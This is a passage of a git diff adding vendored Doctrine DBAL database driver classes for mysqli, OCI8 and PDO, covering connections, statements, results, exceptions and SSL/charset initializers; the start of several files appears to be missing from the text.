$params['unix_socket'] ?? null, + $params['driverOptions'][Connection::OPTION_FLAGS] ?? 0, + ); + } catch (mysqli_sql_exception $e) { + throw ConnectionFailed::upcast($e); + } + + if (! $success) { + throw ConnectionFailed::new($connection); + } + + foreach ($this->compilePostInitializers($params) as $initializer) { + $initializer->initialize($connection); + } + + return new Connection($connection); + } + + /** + * @param array $params + * + * @return Generator + */ + private function compilePreInitializers( + #[SensitiveParameter] + array $params + ): Generator { + unset($params['driverOptions'][Connection::OPTION_FLAGS]); + + if (isset($params['driverOptions']) && $params['driverOptions'] !== []) { + yield new Options($params['driverOptions']); + } + + if ( + ! isset($params['ssl_key']) && + ! isset($params['ssl_cert']) && + ! isset($params['ssl_ca']) && + ! isset($params['ssl_capath']) && + ! isset($params['ssl_cipher']) + ) { + return; + } + + yield new Secure( + $params['ssl_key'] ?? '', + $params['ssl_cert'] ?? '', + $params['ssl_ca'] ?? '', + $params['ssl_capath'] ?? '', + $params['ssl_cipher'] ?? '', + ); + } + + /** + * @param array $params + * + * @return Generator + */ + private function compilePostInitializers( + #[SensitiveParameter] + array $params + ): Generator { + if (! isset($params['charset'])) { + return; + } + + yield new Charset($params['charset']); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionError.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionError.php new file mode 100644 index 000000000..ef5b98017 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionError.php @@ -0,0 +1,31 @@ +error, $connection->sqlstate, $connection->errno); + } + + public static function upcast(mysqli_sql_exception $exception): self + { + $p = new ReflectionProperty(mysqli_sql_exception::class, 'sqlstate'); + $p->setAccessible(true); + + return new self($exception->getMessage(), $p->getValue($exception), (int) $exception->getCode(), $exception); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionFailed.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionFailed.php new file mode 100644 index 000000000..44a8cab99 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/ConnectionFailed.php @@ -0,0 +1,36 @@ +connect_error; + assert($error !== null); + + return new self($error, 'HY000', $connection->connect_errno); + } + + public static function upcast(mysqli_sql_exception $exception): self + { + $p = new ReflectionProperty(mysqli_sql_exception::class, 'sqlstate'); + $p->setAccessible(true); + + return new self($exception->getMessage(), $p->getValue($exception), (int) $exception->getCode(), $exception); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/FailedReadingStreamOffset.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/FailedReadingStreamOffset.php new file mode 100644 index 000000000..6f26dbec8 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/FailedReadingStreamOffset.php @@ -0,0 +1,22 @@ +error), + $connection->sqlstate, + $connection->errno, + ); + } + + public static function upcast(mysqli_sql_exception $exception, string $charset): self + { + $p = new ReflectionProperty(mysqli_sql_exception::class, 'sqlstate'); + $p->setAccessible(true); + + return new self( + sprintf('Failed to set charset "%s": %s', $charset, $exception->getMessage()), + $p->getValue($exception), + (int) $exception->getCode(), + $exception, + ); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/InvalidOption.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/InvalidOption.php new file mode 100644 index 000000000..6fb46316e --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Exception/InvalidOption.php @@ -0,0 +1,25 @@ +error, $statement->sqlstate, $statement->errno); + } + + public static function upcast(mysqli_sql_exception $exception): self + { + $p = new ReflectionProperty(mysqli_sql_exception::class, 'sqlstate'); + $p->setAccessible(true); + + return new self($exception->getMessage(), $p->getValue($exception), (int) $exception->getCode(), $exception); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer.php new file mode 100644 index 000000000..efab67e22 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer.php @@ -0,0 +1,14 @@ +charset = $charset; + } + + public function initialize(mysqli $connection): void + { + try { + $success = $connection->set_charset($this->charset); + } catch (mysqli_sql_exception $e) { + throw InvalidCharset::upcast($e, $this->charset); + } + + if ($success) { + return; + } + + throw InvalidCharset::fromCharset($connection, $this->charset); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Options.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Options.php new file mode 100644 index 000000000..2e66f8d69 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Options.php @@ -0,0 +1,32 @@ + */ + private array $options; + + /** @param array $options */ + public function __construct(array $options) + { + $this->options = $options; + } + + public function initialize(mysqli $connection): void + { + foreach ($this->options as $option => $value) { + if (! mysqli_options($connection, $option, $value)) { + throw InvalidOption::fromOption($option, $value); + } + } + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Secure.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Secure.php new file mode 100644 index 000000000..a25fcfc2d --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Initializer/Secure.php @@ -0,0 +1,38 @@ +key = $key; + $this->cert = $cert; + $this->ca = $ca; + $this->capath = $capath; + $this->cipher = $cipher; + } + + public function initialize(mysqli $connection): void + { + $connection->ssl_set($this->key, $this->cert, $this->ca, $this->capath, $this->cipher); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Result.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Result.php new file mode 100644 index 000000000..c7dc65d1d --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Result.php @@ -0,0 +1,179 @@ + + */ + private array $columnNames = []; + + /** @var mixed[] */ + private array $boundValues = []; + + /** + * @internal The result can be only instantiated by its driver connection or statement. + * + * @throws Exception + */ + public function __construct(mysqli_stmt $statement) + { + $this->statement = $statement; + + $meta = $statement->result_metadata(); + + if ($meta === false) { + return; + } + + $this->hasColumns = true; + + $this->columnNames = array_column($meta->fetch_fields(), 'name'); + + $meta->free(); + + // Store result of every execution which has it. Otherwise it will be impossible + // to execute a new statement in case if the previous one has non-fetched rows + // @link http://dev.mysql.com/doc/refman/5.7/en/commands-out-of-sync.html + $this->statement->store_result(); + + // Bind row values _after_ storing the result. Otherwise, if mysqli is compiled with libmysql, + // it will have to allocate as much memory as it may be needed for the given column type + // (e.g. for a LONGBLOB column it's 4 gigabytes) + // @link https://bugs.php.net/bug.php?id=51386#1270673122 + // + // Make sure that the values are bound after each execution. Otherwise, if free() has been + // previously called on the result, the values are unbound making the statement unusable. + // + // It's also important that row values are bound after _each_ call to store_result(). Otherwise, + // if mysqli is compiled with libmysql, subsequently fetched string values will get truncated + // to the length of the ones fetched during the previous execution. + $this->boundValues = array_fill(0, count($this->columnNames), null); + + // The following is necessary as PHP cannot handle references to properties properly + $refs = &$this->boundValues; + + if (! $this->statement->bind_result(...$refs)) { + throw StatementError::new($this->statement); + } + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + try { + $ret = $this->statement->fetch(); + } catch (mysqli_sql_exception $e) { + throw StatementError::upcast($e); + } + + if ($ret === false) { + throw StatementError::new($this->statement); + } + + if ($ret === null) { + return false; + } + + $values = []; + + foreach ($this->boundValues as $v) { + $values[] = $v; + } + + return $values; + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + $values = $this->fetchNumeric(); + + if ($values === false) { + return false; + } + + return array_combine($this->columnNames, $values); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return FetchUtils::fetchAllNumeric($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return FetchUtils::fetchAllAssociative($this); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return FetchUtils::fetchFirstColumn($this); + } + + public function rowCount(): int + { + if ($this->hasColumns) { + return $this->statement->num_rows; + } + + return $this->statement->affected_rows; + } + + public function columnCount(): int + { + return $this->statement->field_count; + } + + public function free(): void + { + $this->statement->free_result(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/Mysqli/Statement.php b/vendor/doctrine/dbal/src/Driver/Mysqli/Statement.php new file mode 100644 index 000000000..fec7c95c3 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/Mysqli/Statement.php @@ -0,0 +1,239 @@ + 's', + ParameterType::STRING => 's', + ParameterType::BINARY => 's', + ParameterType::BOOLEAN => 'i', + ParameterType::NULL => 's', + ParameterType::INTEGER => 'i', + ParameterType::LARGE_OBJECT => 'b', + ]; + + private mysqli_stmt $stmt; + + /** @var mixed[] */ + private array $boundValues; + + private string $types; + + /** + * Contains ref values for bindValue(). + * + * @var mixed[] + */ + private array $values = []; + + /** @internal The statement can be only instantiated by its driver connection. */ + public function __construct(mysqli_stmt $stmt) + { + $this->stmt = $stmt; + + $paramCount = $this->stmt->param_count; + $this->types = str_repeat('s', $paramCount); + $this->boundValues = array_fill(1, $paramCount, null); + } + + /** + * @deprecated Use {@see bindValue()} instead. + * + * {@inheritDoc} + * + * @psalm-assert ParameterType::* $type + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (! isset(self::PARAM_TYPE_MAP[$type])) { + throw UnknownParameterType::new($type); + } + + $this->boundValues[$param] =& $variable; + $this->types[$param - 1] = self::PARAM_TYPE_MAP[$type]; + + return true; + } + + /** + * {@inheritDoc} + * + * @psalm-assert ParameterType::* $type + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + assert(is_int($param)); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (! isset(self::PARAM_TYPE_MAP[$type])) { + throw UnknownParameterType::new($type); + } + + $this->values[$param] = $value; + $this->boundValues[$param] =& $this->values[$param]; + $this->types[$param - 1] = self::PARAM_TYPE_MAP[$type]; + + return true; + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + } + + if ($params !== null && count($params) > 0) { + if (! $this->bindUntypedValues($params)) { + throw StatementError::new($this->stmt); + } + } elseif (count($this->boundValues) > 0) { + $this->bindTypedParameters(); + } + + try { + $result = $this->stmt->execute(); + } catch (mysqli_sql_exception $e) { + throw StatementError::upcast($e); + } + + if (! $result) { + throw StatementError::new($this->stmt); + } + + return new Result($this->stmt); + } + + /** + * Binds parameters with known types previously bound to the statement + * + * @throws Exception + */ + private function bindTypedParameters(): void + { + $streams = $values = []; + $types = $this->types; + + foreach ($this->boundValues as $parameter => $value) { + assert(is_int($parameter)); + + if (! isset($types[$parameter - 1])) { + $types[$parameter - 1] = self::PARAM_TYPE_MAP[ParameterType::STRING]; + } + + if ($types[$parameter - 1] === self::PARAM_TYPE_MAP[ParameterType::LARGE_OBJECT]) { + if (is_resource($value)) { + if (get_resource_type($value) !== 'stream') { + throw NonStreamResourceUsedAsLargeObject::new($parameter); + } + + $streams[$parameter] = $value; + $values[$parameter] = null; + continue; + } + + $types[$parameter - 1] = self::PARAM_TYPE_MAP[ParameterType::STRING]; + } + + $values[$parameter] = $value; + } + + if (! $this->stmt->bind_param($types, ...$values)) { + throw StatementError::new($this->stmt); + } + + $this->sendLongData($streams); + } + + /** + * Handle $this->_longData after regular query parameters have been bound + * + * @param array $streams + * + * @throws Exception + */ + private function sendLongData(array $streams): void + { + foreach ($streams as $paramNr => $stream) { + while (! feof($stream)) { + $chunk = fread($stream, 8192); + + if ($chunk === false) { + throw FailedReadingStreamOffset::new($paramNr); + } + + if (! $this->stmt->send_long_data($paramNr - 1, $chunk)) { + throw StatementError::new($this->stmt); + } + } + } + } + + /** + * Binds a array of values to bound parameters. + * + * @param mixed[] $values + */ + private function bindUntypedValues(array $values): bool + { + return $this->stmt->bind_param(str_repeat('s', count($values)), ...$values); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Connection.php b/vendor/doctrine/dbal/src/Driver/OCI8/Connection.php new file mode 100644 index 000000000..72353fa31 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Connection.php @@ -0,0 +1,170 @@ +connection = $connection; + $this->parser = new Parser(false); + $this->executionMode = new ExecutionMode(); + } + + public function getServerVersion(): string + { + $version = oci_server_version($this->connection); + + if ($version === false) { + throw Error::new($this->connection); + } + + $result = preg_match('/\s+(\d+\.\d+\.\d+\.\d+\.\d+)\s+/', $version, $matches); + assert($result === 1); + + return $matches[1]; + } + + /** @throws Parser\Exception */ + public function prepare(string $sql): DriverStatement + { + $visitor = new ConvertPositionalToNamedPlaceholders(); + + $this->parser->parse($sql, $visitor); + + $statement = oci_parse($this->connection, $visitor->getSQL()); + assert(is_resource($statement)); + + return new Statement($this->connection, $statement, $visitor->getParameterMap(), $this->executionMode); + } + + /** + * @throws Exception + * @throws Parser\Exception + */ + public function query(string $sql): ResultInterface + { + return $this->prepare($sql)->execute(); + } + + /** + * {@inheritDoc} + */ + public function quote($value, $type = ParameterType::STRING) + { + if (is_int($value) || is_float($value)) { + return $value; + } + + $value = str_replace("'", "''", $value); + + return "'" . addcslashes($value, "\000\n\r\\\032") . "'"; + } + + /** + * @throws Exception + * @throws Parser\Exception + */ + public function exec(string $sql): int + { + return $this->prepare($sql)->execute()->rowCount(); + } + + /** + * {@inheritDoc} + * + * @param string|null $name + * + * @return int|false + * + * @throws Parser\Exception + */ + public function lastInsertId($name = null) + { + if ($name === null) { + return false; + } + + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + + $result = $this->query('SELECT ' . $name . '.CURRVAL FROM DUAL')->fetchOne(); + + if ($result === false) { + throw SequenceDoesNotExist::new(); + } + + return (int) $result; + } + + public function beginTransaction(): bool + { + $this->executionMode->disableAutoCommit(); + + return true; + } + + public function commit(): bool + { + if (! oci_commit($this->connection)) { + throw Error::new($this->connection); + } + + $this->executionMode->enableAutoCommit(); + + return true; + } + + public function rollBack(): bool + { + if (! oci_rollback($this->connection)) { + throw Error::new($this->connection); + } + + $this->executionMode->enableAutoCommit(); + + return true; + } + + /** @return resource */ + public function getNativeConnection() + { + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/ConvertPositionalToNamedPlaceholders.php b/vendor/doctrine/dbal/src/Driver/OCI8/ConvertPositionalToNamedPlaceholders.php new file mode 100644 index 000000000..e2a112629 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/ConvertPositionalToNamedPlaceholders.php @@ -0,0 +1,56 @@ +). + * + * Oracle does not support positional parameters, hence this method converts all + * positional parameters into artificially named parameters. + * + * @internal This class is not covered by the backward compatibility promise + */ +final class ConvertPositionalToNamedPlaceholders implements Visitor +{ + /** @var list */ + private array $buffer = []; + + /** @var array */ + private array $parameterMap = []; + + public function acceptOther(string $sql): void + { + $this->buffer[] = $sql; + } + + public function acceptPositionalParameter(string $sql): void + { + $position = count($this->parameterMap) + 1; + $param = ':param' . $position; + + $this->parameterMap[$position] = $param; + + $this->buffer[] = $param; + } + + public function acceptNamedParameter(string $sql): void + { + $this->buffer[] = $sql; + } + + public function getSQL(): string + { + return implode('', $this->buffer); + } + + /** @return array */ + public function getParameterMap(): array + { + return $this->parameterMap; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Driver.php b/vendor/doctrine/dbal/src/Driver/OCI8/Driver.php new file mode 100644 index 000000000..53e563c63 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Driver.php @@ -0,0 +1,47 @@ +getEasyConnectString($params); + + if (! empty($params['persistent'])) { + $connection = @oci_pconnect($username, $password, $connectionString, $charset, $sessionMode); + } else { + $connection = @oci_connect($username, $password, $connectionString, $charset, $sessionMode); + } + + if ($connection === false) { + throw ConnectionFailed::new(); + } + + return new Connection($connection); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Exception/ConnectionFailed.php b/vendor/doctrine/dbal/src/Driver/OCI8/Exception/ConnectionFailed.php new file mode 100644 index 000000000..cefe9a3ad --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Exception/ConnectionFailed.php @@ -0,0 +1,26 @@ +isAutoCommitEnabled = true; + } + + public function disableAutoCommit(): void + { + $this->isAutoCommitEnabled = false; + } + + public function isAutoCommitEnabled(): bool + { + return $this->isAutoCommitEnabled; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Middleware/InitializeSession.php b/vendor/doctrine/dbal/src/Driver/OCI8/Middleware/InitializeSession.php new file mode 100644 index 000000000..314a04a65 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Middleware/InitializeSession.php @@ -0,0 +1,39 @@ +exec( + 'ALTER SESSION SET' + . " NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'" + . " NLS_TIME_FORMAT = 'HH24:MI:SS'" + . " NLS_DATE_FORMAT = 'YYYY-MM-DD HH24:MI:SS'" + . " NLS_TIMESTAMP_FORMAT = 'YYYY-MM-DD HH24:MI:SS'" + . " NLS_TIMESTAMP_TZ_FORMAT = 'YYYY-MM-DD HH24:MI:SS TZH:TZM'" + . " NLS_NUMERIC_CHARACTERS = '.,'", + ); + + return $connection; + } + }; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Result.php b/vendor/doctrine/dbal/src/Driver/OCI8/Result.php new file mode 100644 index 000000000..08add4faf --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Result.php @@ -0,0 +1,145 @@ +statement = $statement; + } + + /** + * {@inheritDoc} + */ + public function fetchNumeric() + { + return $this->fetch(OCI_NUM); + } + + /** + * {@inheritDoc} + */ + public function fetchAssociative() + { + return $this->fetch(OCI_ASSOC); + } + + /** + * {@inheritDoc} + */ + public function fetchOne() + { + return FetchUtils::fetchOne($this); + } + + /** + * {@inheritDoc} + */ + public function fetchAllNumeric(): array + { + return $this->fetchAll(OCI_NUM, OCI_FETCHSTATEMENT_BY_ROW); + } + + /** + * {@inheritDoc} + */ + public function fetchAllAssociative(): array + { + return $this->fetchAll(OCI_ASSOC, OCI_FETCHSTATEMENT_BY_ROW); + } + + /** + * {@inheritDoc} + */ + public function fetchFirstColumn(): array + { + return $this->fetchAll(OCI_NUM, OCI_FETCHSTATEMENT_BY_COLUMN)[0]; + } + + public function rowCount(): int + { + $count = oci_num_rows($this->statement); + + if ($count !== false) { + return $count; + } + + return 0; + } + + public function columnCount(): int + { + $count = oci_num_fields($this->statement); + + if ($count !== false) { + return $count; + } + + return 0; + } + + public function free(): void + { + oci_cancel($this->statement); + } + + /** + * @return mixed|false + * + * @throws Exception + */ + private function fetch(int $mode) + { + $result = oci_fetch_array($this->statement, $mode | OCI_RETURN_NULLS | OCI_RETURN_LOBS); + + if ($result === false && oci_error($this->statement) !== false) { + throw Error::new($this->statement); + } + + return $result; + } + + /** @return array */ + private function fetchAll(int $mode, int $fetchStructure): array + { + oci_fetch_all( + $this->statement, + $result, + 0, + -1, + $mode | OCI_RETURN_NULLS | $fetchStructure | OCI_RETURN_LOBS, + ); + + return $result; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/OCI8/Statement.php b/vendor/doctrine/dbal/src/Driver/OCI8/Statement.php new file mode 100644 index 000000000..015a14b7b --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/OCI8/Statement.php @@ -0,0 +1,174 @@ + */ + private array $parameterMap; + + private ExecutionMode $executionMode; + + /** + * @internal The statement can be only instantiated by its driver connection. + * + * @param resource $connection + * @param resource $statement + * @param array $parameterMap + */ + public function __construct($connection, $statement, array $parameterMap, ExecutionMode $executionMode) + { + $this->connection = $connection; + $this->statement = $statement; + $this->parameterMap = $parameterMap; + $this->executionMode = $executionMode; + } + + /** + * {@inheritDoc} + */ + public function bindValue($param, $value, $type = ParameterType::STRING): bool + { + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindValue() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + return $this->bindParam($param, $value, $type); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see bindValue()} instead. + */ + public function bindParam($param, &$variable, $type = ParameterType::STRING, $length = null): bool + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5563', + '%s is deprecated. Use bindValue() instead.', + __METHOD__, + ); + + if (func_num_args() < 3) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5558', + 'Not passing $type to Statement::bindParam() is deprecated.' + . ' Pass the type corresponding to the parameter being bound.', + ); + } + + if (is_int($param)) { + if (! isset($this->parameterMap[$param])) { + throw UnknownParameterIndex::new($param); + } + + $param = $this->parameterMap[$param]; + } + + if ($type === ParameterType::LARGE_OBJECT) { + if ($variable !== null) { + $lob = oci_new_descriptor($this->connection, OCI_D_LOB); + $lob->writeTemporary($variable, OCI_TEMP_BLOB); + + $variable =& $lob; + } else { + $type = ParameterType::STRING; + } + } + + return oci_bind_by_name( + $this->statement, + $param, + $variable, + $length ?? -1, + $this->convertParameterType($type), + ); + } + + /** + * Converts DBAL parameter type to oci8 parameter type + */ + private function convertParameterType(int $type): int + { + switch ($type) { + case ParameterType::BINARY: + return OCI_B_BIN; + + case ParameterType::LARGE_OBJECT: + return OCI_B_BLOB; + + default: + return SQLT_CHR; + } + } + + /** + * {@inheritDoc} + */ + public function execute($params = null): ResultInterface + { + if ($params !== null) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::execute() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + + foreach ($params as $key => $val) { + if (is_int($key)) { + $this->bindValue($key + 1, $val, ParameterType::STRING); + } else { + $this->bindValue($key, $val, ParameterType::STRING); + } + } + } + + if ($this->executionMode->isAutoCommitEnabled()) { + $mode = OCI_COMMIT_ON_SUCCESS; + } else { + $mode = OCI_NO_AUTO_COMMIT; + } + + $ret = @oci_execute($this->statement, $mode); + if (! $ret) { + throw Error::new($this->statement); + } + + return new Result($this->statement); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/Connection.php b/vendor/doctrine/dbal/src/Driver/PDO/Connection.php new file mode 100644 index 000000000..290dcc2d2 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/Connection.php @@ -0,0 +1,158 @@ +setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + + $this->connection = $connection; + } + + public function exec(string $sql): int + { + try { + $result = $this->connection->exec($sql); + + assert($result !== false); + + return $result; + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + /** + * {@inheritDoc} + */ + public function getServerVersion() + { + return $this->connection->getAttribute(PDO::ATTR_SERVER_VERSION); + } + + /** + * {@inheritDoc} + * + * @return Statement + */ + public function prepare(string $sql): StatementInterface + { + try { + $stmt = $this->connection->prepare($sql); + assert($stmt instanceof PDOStatement); + + return new Statement($stmt); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + public function query(string $sql): ResultInterface + { + try { + $stmt = $this->connection->query($sql); + assert($stmt instanceof PDOStatement); + + return new Result($stmt); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + /** + * {@inheritDoc} + * + * @throws UnknownParameterType + * + * @psalm-assert ParameterType::* $type + */ + public function quote($value, $type = ParameterType::STRING) + { + return $this->connection->quote($value, ParameterTypeMap::convertParamType($type)); + } + + /** + * {@inheritDoc} + */ + public function lastInsertId($name = null) + { + try { + if ($name === null) { + return $this->connection->lastInsertId(); + } + + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4687', + 'The usage of Connection::lastInsertId() with a sequence name is deprecated.', + ); + + return $this->connection->lastInsertId($name); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + } + + public function beginTransaction(): bool + { + try { + return $this->connection->beginTransaction(); + } catch (PDOException $exception) { + throw DriverPDOException::new($exception); + } + } + + public function commit(): bool + { + try { + return $this->connection->commit(); + } catch (PDOException $exception) { + throw DriverPDOException::new($exception); + } + } + + public function rollBack(): bool + { + try { + return $this->connection->rollBack(); + } catch (PDOException $exception) { + throw DriverPDOException::new($exception); + } + } + + public function getNativeConnection(): PDO + { + return $this->connection; + } + + /** @deprecated Call {@see getNativeConnection()} instead. */ + public function getWrappedConnection(): PDO + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5037', + '%s is deprecated, call getNativeConnection() instead.', + __METHOD__, + ); + + return $this->getNativeConnection(); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/Exception.php b/vendor/doctrine/dbal/src/Driver/PDO/Exception.php new file mode 100644 index 000000000..fbb81253b --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/Exception.php @@ -0,0 +1,30 @@ +errorInfo !== null) { + [$sqlState, $code] = $exception->errorInfo; + + $code ??= 0; + } else { + $code = $exception->getCode(); + $sqlState = null; + } + + return new self($exception->getMessage(), $sqlState, $code, $exception); + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/MySQL/Driver.php b/vendor/doctrine/dbal/src/Driver/PDO/MySQL/Driver.php new file mode 100644 index 000000000..2492698b4 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/MySQL/Driver.php @@ -0,0 +1,76 @@ +constructPdoDsn($safeParams), + $params['user'] ?? '', + $params['password'] ?? '', + $driverOptions, + ); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + + return new Connection($pdo); + } + + /** + * Constructs the MySQL PDO DSN. + * + * @param mixed[] $params + */ + private function constructPdoDsn(array $params): string + { + $dsn = 'mysql:'; + if (isset($params['host']) && $params['host'] !== '') { + $dsn .= 'host=' . $params['host'] . ';'; + } + + if (isset($params['port'])) { + $dsn .= 'port=' . $params['port'] . ';'; + } + + if (isset($params['dbname'])) { + $dsn .= 'dbname=' . $params['dbname'] . ';'; + } + + if (isset($params['unix_socket'])) { + $dsn .= 'unix_socket=' . $params['unix_socket'] . ';'; + } + + if (isset($params['charset'])) { + $dsn .= 'charset=' . $params['charset'] . ';'; + } + + return $dsn; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/OCI/Driver.php b/vendor/doctrine/dbal/src/Driver/PDO/OCI/Driver.php new file mode 100644 index 000000000..10ada9f0e --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/OCI/Driver.php @@ -0,0 +1,61 @@ +constructPdoDsn($params), + $params['user'] ?? '', + $params['password'] ?? '', + $driverOptions, + ); + } catch (PDOException $exception) { + throw Exception::new($exception); + } + + return new Connection($pdo); + } + + /** + * Constructs the Oracle PDO DSN. + * + * @param mixed[] $params + */ + private function constructPdoDsn(array $params): string + { + $dsn = 'oci:dbname=' . $this->getEasyConnectString($params); + + if (isset($params['charset'])) { + $dsn .= ';charset=' . $params['charset']; + } + + return $dsn; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/PDOException.php b/vendor/doctrine/dbal/src/Driver/PDO/PDOException.php new file mode 100644 index 000000000..6eefda40a --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/PDOException.php @@ -0,0 +1,33 @@ +message, 0, $previous); + + $exception->errorInfo = $previous->errorInfo; + $exception->code = $previous->code; + $exception->sqlState = $previous->errorInfo[0] ?? null; + + return $exception; + } + + public function getSQLState(): ?string + { + return $this->sqlState; + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/ParameterTypeMap.php b/vendor/doctrine/dbal/src/Driver/PDO/ParameterTypeMap.php new file mode 100644 index 000000000..f17b585f7 --- /dev/null +++ b/vendor/doctrine/dbal/src/Driver/PDO/ParameterTypeMap.php @@ -0,0 +1,49 @@ + PDO::PARAM_NULL, + ParameterType::INTEGER => PDO::PARAM_INT, + ParameterType::STRING => PDO::PARAM_STR, + ParameterType::ASCII => PDO::PARAM_STR, + ParameterType::BINARY => PDO::PARAM_LOB, + ParameterType::LARGE_OBJECT => PDO::PARAM_LOB, + ParameterType::BOOLEAN => PDO::PARAM_BOOL, + ]; + + /** + * Converts DBAL parameter type to PDO parameter type + * + * @psalm-return PDO::PARAM_* + * + * @throws UnknownParameterType + * + * @psalm-assert ParameterType::* $type + */ + public static function convertParamType(int $type): int + { + if (! isset(self::PARAM_TYPE_MAP[$type])) { + throw UnknownParameterType::new($type); + } + + return self::PARAM_TYPE_MAP[$type]; + } + + private function __construct() + { + } + + private function __clone() + { + } +} diff --git a/vendor/doctrine/dbal/src/Driver/PDO/PgSQL/Driver.php 